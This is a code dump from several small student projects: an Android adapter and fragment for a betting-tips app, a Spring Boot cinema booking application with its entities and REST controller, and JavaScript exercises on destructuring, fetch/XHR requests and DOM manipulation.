import android.widget.ProgressBar; import android.widget.RatingBar; import android.widget.TextView; import android.widget.Toast; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import com.amplifyframework.core.Amplify; import com.bumptech.glide.Glide; import com.google.android.gms.ads.AdListener; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.AdView; import com.google.android.gms.ads.formats.MediaView; import com.google.android.gms.ads.formats.NativeAd; import com.google.android.gms.ads.formats.UnifiedNativeAd; import com.google.android.gms.ads.formats.UnifiedNativeAdView; import com.mycornership.betlink.R; import com.mycornership.betlink.activities.CelebActivity; import com.mycornership.betlink.models.BirthdaySticker; import com.mycornership.betlink.models.Celebrant; import com.mycornership.betlink.models.DataResponse; import com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.util.List; import java.util.Timer; import java.util.TimerTask; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class CelebAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> { private static final int VIEW_TYPE_LOAD = 0; private static final int VIEW_TYPE_ITEM = 1; private static final int VIEW_TYPE_ADS = 2; private Context context; private List<Object> celebs; private String applink = "https://sportinglinks.page.link/birthday"; public CelebAdapter(Context c, List<Object> objects) { this.context = c; this.celebs = objects; } @NonNull @Override public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { if(viewType == VIEW_TYPE_ITEM){ View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.celeb_inflator, parent, false); return new celebHolder(view); } else if(viewType == VIEW_TYPE_LOAD){ View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.loading_inflator, parent, false); return new loadHolder(view); } else { View ads = LayoutInflater.from(parent.getContext()).inflate(R.layout.layout_adds_inflator, parent, false); return new adsHolder(ads); } } @Override public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) { if(holder instanceof celebHolder){ //display matches populatesCeleb((celebHolder)holder, position); } else if(holder instanceof adsHolder){ UnifiedNativeAd nativeAd = (UnifiedNativeAd)celebs.get(position); populatesAds((adsHolder)holder, nativeAd); } else { //shows the loading bar ((loadHolder)holder).bar.setVisibility(View.VISIBLE); } } @Override public int getItemCount() { return celebs == null ? 0 : celebs.size(); } @Override public int getItemViewType(int position) { Object object = celebs.get(position); if( object instanceof Celebrant){ return VIEW_TYPE_ITEM; } else if(object instanceof UnifiedNativeAd){ return VIEW_TYPE_ADS; } else { return VIEW_TYPE_LOAD; } } private class celebHolder extends RecyclerView.ViewHolder { View love, like, share, message; ImageView photo; TextView tv_lk, tv_lv, tv_wlc, tv_note; public celebHolder(View view) { super(view); love = view.findViewById(R.id.love); like = view.findViewById(R.id.like); share = view.findViewById(R.id.share); message = view.findViewById(R.id.message); tv_lk = view.findViewById(R.id.like_count); tv_lv = view.findViewById(R.id.love_count); tv_wlc = view.findViewById(R.id.celeb_mssg_name); tv_note = view.findViewById(R.id.note); photo = view.findViewById(R.id.celeb_img); } } private class loadHolder extends RecyclerView.ViewHolder { ProgressBar bar; public loadHolder(View view) { super(view); bar = view.findViewById(R.id.loading_bar); } } private class adsHolder extends RecyclerView.ViewHolder { private UnifiedNativeAdView adView; public adsHolder(@NonNull View itemView) { super(itemView); adView = itemView.findViewById(R.id.ad_view); //register the ad view with its assets adView.setMediaView((MediaView)adView.findViewById(R.id.ad_media)); adView.setHeadlineView(adView.findViewById(R.id.ad_headline)); adView.setBodyView(adView.findViewById(R.id.ad_body)); adView.setCallToActionView(adView.findViewById(R.id.ad_call_to_action)); adView.setAdvertiserView(adView.findViewById(R.id.ad_advertiser)); } public UnifiedNativeAdView getUnifiedAdView(){ return adView; } } private void populatesCeleb(celebHolder holder, int position) { Celebrant celeb = (Celebrant)celebs.get(position); String no_lv = "" + celeb.getNoLoves(); String no_lk = "" + celeb.getNoLikes(); holder.tv_lv.setText(no_lv); holder.tv_lk.setText(no_lk); //display photo Glide.with(context).load(celeb.getPhoto()).into(holder.photo); holder.tv_wlc.setText("Happy Birthday " + celeb.getName()); holder.tv_note.setText("" + celeb.getNote()); holder.itemView.setOnClickListener(v ->{ //opens the celebrant activity Intent i = new Intent(context, CelebActivity.class); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); i.putExtra("note", celeb.getNote()); i.putExtra("message", celeb.getMessage()); i.putExtra("bio", celeb.getShortBio()); i.putExtra("photo", celeb.getPhoto()); i.putExtra("photo2", celeb.getPhoto2()); i.putExtra("name", celeb.getName()); i.putExtra("achievements", celeb.getAchievements()); i.putExtra("video", celeb.getVideo()); i.putExtra("id", celeb.getId()); //launch the activity context.startActivity(i); }); //sends a love sticker to the player holder.love.setOnClickListener(l ->{ if(Amplify.Auth.getCurrentUser() != null) { //increase the number loved int x = celeb.getNoLoves() + 1; holder.tv_lv.setText(" " + x); String username = Amplify.Auth.getCurrentUser().getUsername(); BirthdaySticker sticker = new BirthdaySticker(); sticker.setCelebrant(celeb.getName()); sticker.setUsername(username); sticker.setSticker("love"); //show love loveDialog(); //communicate online sendSticker(sticker); } else{ Toast.makeText(context, "signing required.", Toast.LENGTH_SHORT).show(); } }); //sends a like sticker to the player holder.like.setOnClickListener(l ->{ if(Amplify.Auth.getCurrentUser() != null) { //increase the number liked int x = celeb.getNoLikes() + 1; holder.tv_lk.setText(" " + x); String username = Amplify.Auth.getCurrentUser().getUsername(); BirthdaySticker sticker = new BirthdaySticker(); sticker.setCelebrant(celeb.getName()); sticker.setUsername(username); sticker.setSticker("like"); //show like likeDialog(); //communicate online sendSticker(sticker); } else{ Toast.makeText(context, "signing required.", Toast.LENGTH_SHORT).show(); } }); //share the celebrant birthday on social media holder.share.setOnClickListener(l ->{ //build the shared body String body = "Join us @SPORTINGLINK \n as we celebrate " + celeb.getName() + " \n on his special day. \n" + applink; //performs share of the tips to social group Intent shareIntent = new Intent(Intent.ACTION_SEND); shareIntent.setType("text/plain"); shareIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); shareIntent.putExtra(Intent.EXTRA_TITLE,"Happy Birthday " + celeb.getName()); shareIntent.putExtra(Intent.EXTRA_TEXT, body); context.startActivity(shareIntent); }); } private void populatesAds(adsHolder holder, UnifiedNativeAd nativeAd) { //bind the ads content to the UI ((TextView)holder.getUnifiedAdView().getHeadlineView()).setText(nativeAd.getHeadline()); ((TextView)holder.getUnifiedAdView().getBodyView()).setText(nativeAd.getBody()); ((Button)holder.getUnifiedAdView().getCallToActionView()).setText(nativeAd.getCallToAction()); if(nativeAd.getBody() == null){ holder.getUnifiedAdView().getBodyView().setVisibility(View.INVISIBLE); } else { holder.getUnifiedAdView().getBodyView().setVisibility(View.VISIBLE); ((TextView)holder.getUnifiedAdView().getBodyView()).setText(nativeAd.getBody()); } if(nativeAd.getAdvertiser() == null){ holder.getUnifiedAdView().getAdvertiserView().setVisibility(View.INVISIBLE); } else { holder.getUnifiedAdView().getAdvertiserView().setVisibility(View.VISIBLE); ((TextView)holder.getUnifiedAdView().getAdvertiserView()).setText(nativeAd.getAdvertiser()); } if(nativeAd.getCallToAction() == null){ holder.getUnifiedAdView().getCallToActionView().setVisibility(View.INVISIBLE); } else { holder.getUnifiedAdView().getCallToActionView().setVisibility(View.VISIBLE); ((Button)holder.getUnifiedAdView().getCallToActionView()).setText(nativeAd.getCallToAction()); } holder.getUnifiedAdView().setNativeAd(nativeAd); } private void sendSticker(BirthdaySticker sticker){ RestApi api = RestService.getInstance().create(RestApi.class); Call<DataResponse> call = api.birthDaySticker(sticker); call.enqueue(new Callback<DataResponse>() { @Override public void onResponse(Call<DataResponse> call, Response<DataResponse> response) { } @Override public void onFailure(Call<DataResponse> call, Throwable t) { } }); } private void loveDialog(){ Dialog dialog = new Dialog(context); dialog.setContentView(R.layout.love_dialog); dialog.setCanceledOnTouchOutside(true); dialog.show(); Timer timer = new Timer(); timer.schedule(new TimerTask() { @Override public void run() { dialog.dismiss(); } }, 500); } private void likeDialog(){ Dialog dialog = new Dialog(context); dialog.setContentView(R.layout.like_dialog); dialog.setCanceledOnTouchOutside(true); dialog.show(); Timer timer = new Timer(); timer.schedule(new TimerTask() { @Override public void run() { dialog.dismiss(); } }, 500); } } <file_sep>/app/src/main/java/com/mycornership/betlink/fragments/tips/BasicTips.java package com.mycornership.betlink.fragments.tips; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import androidx.swiperefreshlayout.widget.SwipeRefreshLayout; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import android.widget.Toast; import com.google.android.gms.ads.AdListener; import com.google.android.gms.ads.AdLoader; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.MobileAds; import com.google.android.gms.ads.formats.NativeAdOptions; import com.google.android.material.button.MaterialButton; import com.google.android.material.floatingactionbutton.FloatingActionButton; import com.mycornership.betlink.R; import com.mycornership.betlink.adapters.TipsAdapter; import com.mycornership.betlink.models.DataResponse; import com.mycornership.betlink.models.Prediction; import com.mycornership.betlink.models.TipsResponse; import com.mycornership.betlink.networks.NetworkAvailability; import com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.util.ArrayList; import java.util.List; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class BasicTips extends Fragment { private RecyclerView recyclerView; private TipsAdapter adapter; private SwipeRefreshLayout refreshLayout; private List<Object> objects = new ArrayList<>(); private List<Prediction> tips = new ArrayList<>(); private ProgressBar loadinBar; private AdLoader adLoader; private int page = 0, number = 1; private boolean isLoading = true; private MaterialButton btn_rfs; public BasicTips() { // Required empty public constructor } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment return inflater.inflate(R.layout.fragment_basic_tips, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize components init(); //load news items loadTips(0); //add listener to the recycler view recyclerScrollListener(); //loads native ads loadAds(); } private void init() { loadinBar = getView().findViewById(R.id.loading_bar); btn_rfs = getView().findViewById(R.id.refresh_btn); refreshLayout = getView().findViewById(R.id.refresh); //initialize the recyclerView recyclerView = getView().findViewById(R.id.tips_recycler); LinearLayoutManager manager = new LinearLayoutManager(getContext()); adapter = new TipsAdapter(getContext(), objects, "basic"); recyclerView.setLayoutManager(manager); recyclerView.setAdapter(adapter); //listen to refresh action refreshLayout.setOnRefreshListener( () ->{ //hides refresh button if its visible btn_rfs.setVisibility(View.GONE); if(!isLoading) { isLoading = true; page = 0; objects = new ArrayList<>(); //load news items loadTips(page); } }); btn_rfs.setOnClickListener(l ->{ //hides the button btn_rfs.setVisibility(View.GONE); loadinBar.setVisibility(View.VISIBLE); if(!isLoading) { isLoading = true; page = 0; objects = new ArrayList<>(); //load news items loadTips(page); } }); } private void loadTips(int page) { if(NetworkAvailability.isConnected(getContext())) { //load basic tips RestApi api = RestService.getInstance().create(RestApi.class); Call<TipsResponse> tipsCall = api.fetchTips("basic", page); tipsCall.enqueue(new Callback<TipsResponse>() { @Override public void onResponse(Call<TipsResponse> call, Response<TipsResponse> response) { if (response.isSuccessful()) { if (response.body().getCode() == 200) { tips = response.body().getData(); if(page == 0) { objects.addAll(tips); adapter = new TipsAdapter(getContext(), objects, "basic"); //binds the recyclerview recyclerView.setAdapter(adapter); } else { //subsequent pages objects.remove(objects.size() - 1); int x = objects.size(); adapter.notifyItemRemoved(x); objects.addAll(tips); adapter.notifyDataSetChanged(); //close network loading handles isLoading = false; //flush ads on the addea items loadAds(); } } } //set loading to false isLoading = false; //turns off refreshing if its On refreshLayout.setRefreshing(false); //hides the progress bar loadinBar.setVisibility(View.GONE); } @Override public void onFailure(Call<TipsResponse> call, Throwable t) { if(page == 0) { loadinBar.setVisibility(View.GONE); btn_rfs.setVisibility(View.VISIBLE); Toast.makeText(getContext(), "network error!", Toast.LENGTH_SHORT).show(); } isLoading = false; //turns off refreshing if its On refreshLayout.setRefreshing(false); } }); } else{ loadinBar.setVisibility(View.GONE); //shows refresh button btn_rfs.setVisibility(View.VISIBLE); //turns off refreshing if its On refreshLayout.setRefreshing(false); Toast.makeText(getContext(), "No network", Toast.LENGTH_SHORT).show(); } } private void recyclerScrollListener() { //listen to whenever the recycler view scroll changes recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { @Override public void onScrollStateChanged(@NonNull RecyclerView recyclerView, int newState) { super.onScrollStateChanged(recyclerView, newState); } @Override public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { super.onScrolled(recyclerView, dx, dy); LinearLayoutManager manager = (LinearLayoutManager) recyclerView.getLayoutManager(); if (manager != null && manager.findLastCompletelyVisibleItemPosition() == objects.size() - 1) { if (!isLoading) { isLoading = true; loadMoreData(); } } } }); } private void loadMoreData() { page += 1; objects.add(null); //notify adapter for the item change adapter.notifyItemInserted(objects.size() - 1); //load the next data on the list loadTips(page); } private void loadAds(){ adLoader = new AdLoader.Builder(getContext(), getString(R.string.ads_native_units)) .forUnifiedNativeAd(unifiedNativeAd -> { int x = number * 13; if(objects.size() >= x) objects.add(x, unifiedNativeAd); adapter.notifyItemInserted(x); number += 1; }) .withAdListener(new AdListener() { @Override public void onAdLeftApplication() { super.onAdLeftApplication(); // notifyAdsAction("LeftApplication"); } @Override public void onAdClicked() { super.onAdClicked(); //notifyAdsAction("Clicked"); } @Override public void onAdFailedToLoad(int errorCode) { // Handle the failure by logging, altering the UI, and so on. Log.d("ads_load_error", "error loading ads. " + errorCode); } }) .withNativeAdOptions(new NativeAdOptions.Builder() // Methods in the NativeAdOptions.Builder class can be // used here to specify individual options settings. .build()) .build(); adLoader.loadAds(new AdRequest.Builder().build(), 3); } }
5470e65e80483683125301d1aa01aaa67dae4968
[ "Java", "Gradle" ]
30
Java
casontek/sportingLink
94fa20a0c79c091f5d5a5e3d33de2606d23214a8
31734f5211f603b75614747e981b072778da879b
refs/heads/master
<repo_name>AxesPL/Cinema-application<file_sep>/src/main/java/info/axes/repository/UserRepository.java package info.axes.repository; import info.axes.model.entity.User; import org.springframework.data.jpa.repository.JpaRepository; public interface UserRepository extends JpaRepository<User,Long> { User findFirstByUsername(String username); } <file_sep>/src/main/java/info/axes/model/entity/Showing.java package info.axes.model.entity; import lombok.Data; import lombok.NoArgsConstructor; import javax.persistence.*; import java.time.LocalDate; @Entity @Data @NoArgsConstructor public class Showing { @Id @GeneratedValue(strategy= GenerationType.IDENTITY) private Long id; @ManyToOne(fetch = FetchType.EAGER) private Movie movie; private LocalDate showingDate; @ManyToOne(fetch = FetchType.EAGER) private Hall hall; @ManyToOne(fetch = FetchType.EAGER) private ShowingHour showingHour; private float showingBasePrice; } <file_sep>/src/main/java/info/axes/model/entity/Ticket.java package info.axes.model.entity; import lombok.Data; import javax.persistence.*; @Entity @Data public class Ticket { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; @ManyToOne private Showing showing; private float paidPrice; } <file_sep>/src/main/resources/static/js/showing.js $(document).ready(function(){ var date_input=$('input[name="date"]'); //our date input has the name "date" var container=$('.bootstrap-iso form').length>0 ? $('.bootstrap-iso form').parent() : "body"; date_input.datepicker({ format: 'dd-mm-yyyy', container: container, todayHighlight: true, autoclose: true, }) }) angular.module('app', []) .controller('ShowingController', function($http) { var today = new Date(); var dd = today.getDate(); var mm = today.getMonth()+1; //January is 0! var yyyy = today.getFullYear(); if(dd<10) { dd = '0'+dd } if(mm<10) { mm = '0'+mm } var dateshow = dd+'-'+mm+'-'+yyyy; console.log(dateshow); function refreshDate() { var button = document.getElementById("refresh-button"); button.onclick = function () { var input = document.getElementById("date"); dateshow=input.value; console.log(dateshow); url = "http://localhost:8080/api/showings/showingdate/"+dateshow; refreshData(); } } refreshDate(); var vm = this; var url="http://localhost:8080/api/showings/showingdate/"+dateshow; function refreshData() { $http({ method: 'GET', url: url }).then(function success(response) { vm.showings = response.data; console.log(vm.showings); }, function error(response) { console.log('API error ' + response.status); }); } vm.appName = 'Showing Manager'; refreshData(); }); <file_sep>/src/test/java/info/axes/CinemaApplicationTests.java package info.axes; import info.axes.component.ClientApi; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.context.junit4.SpringRunner; import org.springframework.test.context.web.WebAppConfiguration; @RunWith(SpringRunner.class) @SpringBootTest(classes = CinemaApplication.class) @WebAppConfiguration public class CinemaApplicationTests { @Autowired private ClientApi clientApi; @Test public void contextLoads() { clientApi.getUpcomingMovies(); } } <file_sep>/src/main/resources/import.sql INSERT INTO mojabaza.showing (id,hall_id,movie_id,showing_base_price,showing_date) values (1,1,1,25.50,'2017-08-24 15:30'); INSERT INTO mojabaza.showing (id,hall_id,movie_id,showing_base_price,showing_date) values (2,1,1,25,'2017-08-24 16:30'); insert into mojabaza.movie (id,movie_description,movie_title) values (2,'Opis','Terminator'); insert into mojabaza.movie (id,movie_description,movie_title) values (3,'Opis','Terminator 2'); insert into mojabaza.movie (id,movie_description,movie_title) values (4,'Opis','Shrek 2'); insert into mojabaza.movie (id,movie_description,movie_title) values (5,'Opis','Shrek 3'); insert into mojabaza.movie (id,movie_description,movie_title) values (6,'Opis','Szybcy i Wsciekli'); insert into mojabaza.movie (id,movie_description,movie_title) values (7,'Opis','Za szybcy, za wsciekli'); insert into mojabaza.movie (id,movie_description,movie_title) values (8,'Opis','Avatar'); insert into mojabaza.movie (id,movie_description,movie_title) values (9,'Opis','<NAME>'); insert into mojabaza.movie (id,movie_description,movie_title) values (10,'Opis','Chlopaki nie placza'); <file_sep>/src/main/java/info/axes/controller/CinemaRestController.java package info.axes.controller; import info.axes.model.api.UpcomingMovieDto; import info.axes.model.dto.*; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import java.util.List; public interface CinemaRestController { @RequestMapping(method = RequestMethod.GET, path = "/showings", produces = MediaType.APPLICATION_JSON_VALUE) ResponseEntity<List<ShowingDto>> getShowingsByShowingDate(); @RequestMapping(method = RequestMethod.DELETE, path = "/showings/{id}") ResponseEntity<Void> deleteShowingById(@PathVariable("id") long showingId); @RequestMapping(method = RequestMethod.GET, path = "/halls") ResponseEntity<List<HallDto>> getAllHalls(); @RequestMapping(method = RequestMethod.GET, path = "/movies") ResponseEntity<List<MovieDto>> getAllMovies(); @RequestMapping(method = RequestMethod.GET, path = "/halls/{hallId}/{showingDate}/get-available-hours") ResponseEntity<List<AvailableHoursDto>> getAvailableHoursByShowing(@PathVariable("hallId") long hallId, @PathVariable("showingDate") String showingDate); @RequestMapping(method = RequestMethod.POST, path = "/showings", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE) ResponseEntity<Void> saveShowing(@RequestBody SaveShowingDto saveShowingDto); @RequestMapping(method = RequestMethod.GET, path="/income",produces = MediaType.APPLICATION_JSON_VALUE) ResponseEntity<List<TicketSalesMonthReport>> getIncomeFromLast6Months(); @RequestMapping(method = RequestMethod.GET, path="/movies-upcoming",produces = MediaType.APPLICATION_JSON_VALUE) ResponseEntity<List<UpcomingMovieDto>> getUpcomingMovies(); @RequestMapping(method = RequestMethod.POST, path = "/movies",consumes = MediaType.APPLICATION_JSON_VALUE) ResponseEntity<Void> saveMovie(@RequestBody UpcomingMovieDto movie); } <file_sep>/src/main/java/info/axes/model/api/UpcomingMovieDto.java package info.axes.model.api; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Data; import lombok.NoArgsConstructor; import java.io.Serializable; @Data @NoArgsConstructor public class UpcomingMovieDto implements Serializable { @JsonProperty("poster_path") private String posterPath; @JsonProperty("overview") private String overview; @JsonProperty("title") private String title; } <file_sep>/src/main/java/info/axes/service/mapper/ShowingMapper.java package info.axes.service.mapper; import info.axes.model.dto.SaveShowingDto; import info.axes.model.dto.ShowingDto; import info.axes.model.entity.Showing; public interface ShowingMapper { ShowingDto mapToDto(Showing showing); Showing mapToDbo(SaveShowingDto saveShowingDto); } <file_sep>/src/main/java/info/axes/CinemaApplication.java package info.axes; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.ConfigurableApplicationContext; @SpringBootApplication public class CinemaApplication { public static void main(String[] args){ ConfigurableApplicationContext ctx =SpringApplication.run(CinemaApplication.class, args); } } <file_sep>/src/main/java/info/axes/service/mapper/impl/ShowingHourMapperImpl.java package info.axes.service.mapper.impl; import info.axes.model.dto.AvailableHoursDto; import info.axes.model.entity.ShowingHour; import info.axes.service.mapper.ShowingHourMapper; import org.springframework.stereotype.Component; @Component public class ShowingHourMapperImpl implements ShowingHourMapper { @Override public AvailableHoursDto mapToDto(ShowingHour showingHour) { AvailableHoursDto dto = new AvailableHoursDto(); dto.setHour(showingHour.getShowingHour()); return dto; } } <file_sep>/src/main/java/info/axes/model/dto/ShowingDto.java package info.axes.model.dto; import lombok.Data; import lombok.NoArgsConstructor; import java.io.Serializable; @Data @NoArgsConstructor public class ShowingDto implements Serializable { private long id; private String showingDate; private String showingHour; private String movieTitle; private String hallName; private float ticketPrice; } <file_sep>/src/main/java/info/axes/component/ClientApi.java package info.axes.component; import info.axes.model.api.UpcomingMoviesResponseDto; public interface ClientApi { UpcomingMoviesResponseDto getUpcomingMovies(); } <file_sep>/src/main/java/info/axes/service/CustomUserDetailsService.java package info.axes.service; import info.axes.model.entity.User; import info.axes.model.entity.UserAuthority; import info.axes.repository.UserAuthorityRepository; import info.axes.repository.UserRepository; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Primary; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.authority.SimpleGrantedAuthority; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.core.userdetails.UsernameNotFoundException; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.HashSet; import java.util.List; import java.util.Set; @Service @Primary public class CustomUserDetailsService implements UserDetailsService { @Autowired private UserRepository userRepository; @Autowired private UserAuthorityRepository userAuthorityRepository; @Override @Transactional(readOnly = true) public UserDetails loadUserByUsername(String username) { User user = userRepository.findFirstByUsername(username); if (user == null) throw new UsernameNotFoundException("User not found"); return new org.springframework.security.core.userdetails.User( user.getUsername(), user.getPasswordHash(), convertAuthorities(userAuthorityRepository.findAllByUser_Id(user.getId()))); } private Set<GrantedAuthority> convertAuthorities(List<UserAuthority> userAuthorities) { Set<GrantedAuthority> authorities = new HashSet<>(); for (UserAuthority ua : userAuthorities) { authorities.add(new SimpleGrantedAuthority(ua.getAuthority().getName())); } return authorities; } }<file_sep>/src/main/java/info/axes/repository/MovieRepository.java package info.axes.repository; import info.axes.model.entity.Movie; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.data.rest.core.annotation.RepositoryRestResource; @RepositoryRestResource public interface MovieRepository extends JpaRepository<Movie,Long>{ }
48320c7205a697b242ed818197b2de5786def20f
[ "JavaScript", "Java", "SQL" ]
15
Java
AxesPL/Cinema-application
6633a7c7e3ef350c9a6719a07830d3508aa093d8
ed60e90e1bc4e3c024d0634e271aa135a986f7de
refs/heads/master
<repo_name>abidSaifeddine/Javascript-json-server-fetch<file_sep>/Destructuring/Arrays.js const rgb = [255, 200, 0]; // Array Destructuring const [red, green, blue] = rgb; console.log(`R: ${red}, G: ${green}, B: ${blue}`); <file_sep>/Destructuring/defaultValues.js const person = { name: '<NAME>', country: 'Tunisia' }; // Assign default value of 25 to age if undefined const { name, country, age = 23 } = person; // Here I am using ES6 template literals console.log(`I am ${name} from ${country} and I am ${age} years old.`);<file_sep>/easyhttp1/app.js const http = new easyHTTP; // // //Get Posts // // http.get('http://localhost:3000/quotes', // // function(err, posts) { // // if(err) { // // console.log(err); // // } else { // // console.log(posts); // // } // // }); // // // // /* // //Get Single Post // http.get('http://localhost:3000/quotes/1', function(err, post) { // if(err) { // console.log(err); // } else { // console.log(post); // } // }); // */ // // // // const data = { // // "id": 14, // // "QuoteTexte": "Look deep into nature, and then you will understand everything better. <NAME>\r\n", // // "likes": 4, // // "dislikes": 3 // // }; // // // Create Post // // http.post('http://localhost:3000/quotes/', data, // // function(err, post) { // // if(err) { // // console.log(err); // // } else { // // console.log(post); // // } // // }); // // // const data = { // "id": 1, // "QuoteTexte": "Edited quote text", // "likes": 4, // "dislikes": 3 // }; // // // //Update Post // http.put('http://localhost:3000/quotes/2', data, function(err, post) { // if(err) { // console.log(err); // } else { // console.log(post); // } // }); // http.delete('http://localhost:3000/quotes/14', function(err, response) { // if(err) { // console.log(err); // } else { // console.log(response); // } // }); http.get("http://localhost:3000/users/") .then(data => console.log(data)) .catch(err => console.log(err));<file_sep>/weather_sample/app.js const xhr = new XMLHttpRequest(); let data; let weatherDesc =document.getElementById("weatherDesc"); let image = document.getElementById("imgWeather"); ready(); function ready() { weatherDesc.style.display = "none"; image.style.display = "none"; xhr.open('get','data.json',true); xhr.onload = function () { let json = xhr.responseText; data = JSON.parse(json); populateCities(data) } xhr.send(); } function populateCities(data) { data.forEach(function (element,index) { document.getElementById("cities").innerHTML += `<button onclick="displayWeather(${element.id})" class="dropdown-item">${element.name}</button>`; }) } function displayWeather(id) { weatherDesc.style.display = "block"; image.style.display = "block"; let city; data.forEach(function (element) { if(element.id==id) { city = element; return; } }) document.getElementById("cityName").innerText = city.name; weatherDesc.style.display = "block"; if(city.weather_value > 20 ) { weatherDesc.innerHTML = `<p>Sunny</p><br><p>${city.weather_value}C°</p>`; image.src = "normal.png"; } else if (city.weather_value < 20 && city.weather_value >15) { weatherDesc.innerHTML = `<p>Cloudy</p><br><p>${city.weather_value}C°</p>`; image.src = "darkCloud.png"; } else { weatherDesc.innerHTML = `<p>Rain</p><br><p>${city.weather_value}C°</p>`; image.src = "rain.png"; } }<file_sep>/docs_dom_achats/docs_dom_achats/script.js // document.getElementById() //console.log(document.getElementById('produtInput')); // // Get things from the element // console.log(document.getElementById('produtInput').id); // console.log(document.getElementById('produtInput').className); // const labelP = document.getElementById('label-product'); // // // Change styling // //labelP.style.background = '#333'; // labelP.style.color = '#33f'; // labelP.style.padding = '5px'; // //labelP.style.display = 'none'; // // // Change content // labelP.textContent = 'My product'; // //labelP.innerText = 'My products'; // labelP.innerHTML = '<span style="color:red">Products List</span>'; //// document.querySelector() //console.log(document.querySelector('#produtInput')); //console.log(document.querySelector('.form-control')); console.log(document.querySelector('div')); // document.querySelector('li').style.color = 'red'; // document.querySelector('ul li').style.color = 'blue'; // document.querySelector('li:last-child').style.color = 'red'; // document.querySelector('li:nth-child(2)').style.color = 'yellow'; // document.querySelector('li:nth-child(odd)').style.background = '#ccc'; // document.querySelector('li:nth-child(even)').style.background = '#f4f4f4'; document.querySelector(".card-header").textContent="Mise achat"; //document.querySelector('li:last-child').style.backgroundColor = 'green'; // var list = document.getElementsByClassName("list-group-item"); // var ListG = Array.from(list); // ListG.forEach(function(item,index){ // console.log(index); // if(index%2 == 0){ // item.style.backgroundColor="#ccc"; // } // }); // // var list = document.querySelectorAll("ul.list-group li.list-group-item"); // console.log(list); // list.forEach(function (item,index) { // if(index%2==0) // item.style.backgroundColor = "#ccc"; // }); const listOdd = document.querySelectorAll('li:nth-child(odd)');//or (even) listOdd.forEach(function (item, index) { item.style.backgroundColor="#ccc"; }); //Display "product:quantity' refColor(); tab = []; localStorage.setItem("tab",JSON.stringify(tab)); document.getElementById('add').addEventListener("click",function () { var li = document.getElementById('list').firstElementChild.cloneNode(true); // var name = document.getElementById('produtInput').value; // var qte = document.getElementById('quantityInput').value; // // li.firstElementChild.textContent=name; // li.firstElementChild.nextElementSibling.textContent = qte+"kg"; // var ul = document.getElementById('list').appendChild(li); // console.log(li.firstElementChild.textContent); const item = { "name":document.getElementById('produtInput').value, "qte":document.getElementById('quantityInput').value } tab.push(item); localStorage.setItem("tab",JSON.stringify(tab)); // localStorage.setItem("produit",document.getElementById('produtInput').value); // localStorage.setItem("qte",document.getElementById('quantityInput').value); // li.firstElementChild.textContent=localStorage.getItem("produit"); // li.firstElementChild.nextElementSibling.textContent = localStorage.getItem("qte")+"kg"; var items = JSON.parse(localStorage.getItem("tab")); items.forEach(function (item) { li.firstElementChild.textContent = item.name; li.firstElementChild.nextElementSibling.textContent = item.qte; document.getElementById('list').appendChild(li); }); refColor(); var xs = document.getElementsByClassName("close"); for(var i=0;i<xs.length;i++){ xs[i].addEventListener('click',function (e) { this.parentElement.remove(); refColor(); });} }); function refColor() { var list = document.querySelectorAll("ul.list-group li.list-group-item"); list.forEach(function (item,index) { if(index%2==0) item.style.backgroundColor = "#ccc"; else item.style.backgroundColor = "#f4f4f4"; }); } document.getElementById('deleteAll').addEventListener('click',function () { document.getElementById('list').innerHTML=""; }); var xs = document.getElementsByClassName("close"); for(var i=0;i<xs.length;i++){ xs[i].addEventListener('click',function (e) { this.parentElement.remove(); refColor(); }); } <file_sep>/Destructuring/redefinitionOfNames.js const person = { name: 'Saifeddine', country: 'Tunisia' }; // Assign default value of 25 to years if age key is undefined const { name: fullname, country: place, age: years = 23 } = person; // Here I am using ES6 template literals console.log(`I am ${fullname} from ${place} and I am ${years} years old.`);<file_sep>/fetch_example/Router.js $('document').ready(function () { $.get("Home.html",function (data) { $(".container").html(data) },'html') }) function router(page){ $.get(page+".html",function (data) { $(".container").html(data); }) $(".nav-item").removeClass('active'); $("."+page).addClass("active"); }<file_sep>/Destructuring/example2.js const Student = { firstName:'saifeddine', lastName:'abid', country:'Tunisia' }; const {firstName,lastName,country}=Student; 